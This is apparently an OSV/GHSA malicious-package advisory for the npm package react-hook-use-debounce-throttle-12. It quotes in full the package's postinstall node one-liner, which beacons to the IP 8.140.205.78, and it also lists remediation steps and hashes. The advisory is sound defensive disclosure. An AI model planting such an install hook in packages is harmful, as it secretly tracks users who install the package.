MAL-2026-5909

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/react-hook-use-debounce-throttle-12/MAL-2026-5909.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5909
Aliases
  • GHSA-2x4w-64xc-78fv
Published
2026-06-16T17:24:02Z
Modified
2026-08-21T12:30:13.062373936Z
Summary
Malicious code in react-hook-use-debounce-throttle-12 (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (b0a4d8a0470a3e7fcb2da7cdb29ba6412125924a486aa6f4a437ccfbeb5ca4af)

package.json declares a postinstall hook that runs node -e to issue an HTTPS request to the bare IP 8.140.205.78 on port 80 with all errors silently swallowed: require('https').request({hostname:'8.140.205.78',port:80,path:'/',method:'GET',timeout:3000}).on('error',function(){}).end(). The package advertises itself as a React debounce/throttle hooks library and has no legitimate need for network activity at install time. The destination is a bare IPv4 address with no TLS, no publisher correlation, and no documented purpose; the request fires unconditionally on every npm install, leaking the installer's IP, install timing, and machine footprint to the operator of that host. Author metadata is a generic placeholder (dev-utils <dev@utils-lib.dev>) with a repository URL that does not resolve to a real project, and the package name carries a numeric suffix consistent with disposable republishes. The combination of an install-time beacon to attacker-controlled infrastructure, mismatched purpose, silent error handling, and placeholder publisher identity is a victim-enumeration/install-tracking attack.

Source: ghsa-malware (dab16b6240517cd4cb59dc43b87bc0d7bcdc474405778564b40311d7fe641d19)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-16T18:10:21.109051992Z",
            "sha256": "f7491b25e457c908dae1b32fe800f461843e4463807c8590044e4b7cc769843a",
            "modified_time": "2026-06-16T17:24:02Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-006801",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "import_time": "2026-06-16T23:03:43.924049399Z",
            "sha256": "882aa89fb511fb5cfe781f6b4242ae72abb1d089ec9b619056341a5f244183e2",
            "modified_time": "2026-06-16T22:30:57Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-006852",
            "versions": [
                "1.0.2"
            ]
        },
        {
            "import_time": "2026-06-16T23:03:44.221726355Z",
            "sha256": "b0a4d8a0470a3e7fcb2da7cdb29ba6412125924a486aa6f4a437ccfbeb5ca4af",
            "modified_time": "2026-06-16T22:30:59Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-006856",
            "versions": [
                "1.0.1"
            ]
        },
        {
            "import_time": "2026-08-21T12:26:03.303318512Z",
            "sha256": "dab16b6240517cd4cb59dc43b87bc0d7bcdc474405778564b40311d7fe641d19",
            "modified_time": "2026-08-21T11:37:44Z",
            "source": "ghsa-malware",
            "id": "GHSA-2x4w-64xc-78fv",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ]
        }
    ]
}
References
Credits

Affected packages

npm / react-hook-use-debounce-throttle-12

Package

Name
react-hook-use-debounce-throttle-12
View open source insights on deps.dev
Purl
pkg:npm/react-hook-use-debounce-throttle-12

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.1
1.0.2

Database specific

source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/react-hook-use-debounce-throttle-12/MAL-2026-5909.json"
indicators
{
    "evidence_files": [
        {
            "sha256": "2a569500b2facf7961423e147d69add31f30eb0c39f9740f8f6d95b38519e946",
            "tlsh": "dc01f1b58460daa31fd495955d5a294ae6320c0f401c7c18e3d3803c87cd6ae687c6ae",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "filename": "react-hook-use-debounce-throttle-12-1.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-I5aCPxI0OkhvQfYyEnKGib+FWXhwHs0GxDpajWZjtlpS5EHNAJpYMRLr1LH8Veq8fQaqlu3Uly6rLXFLAELqEw==",
                "sha1": "51385b702bfd7eb72ff1912ec3d19b3015cccb14"
            }
        }
    ]
}
cwes
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]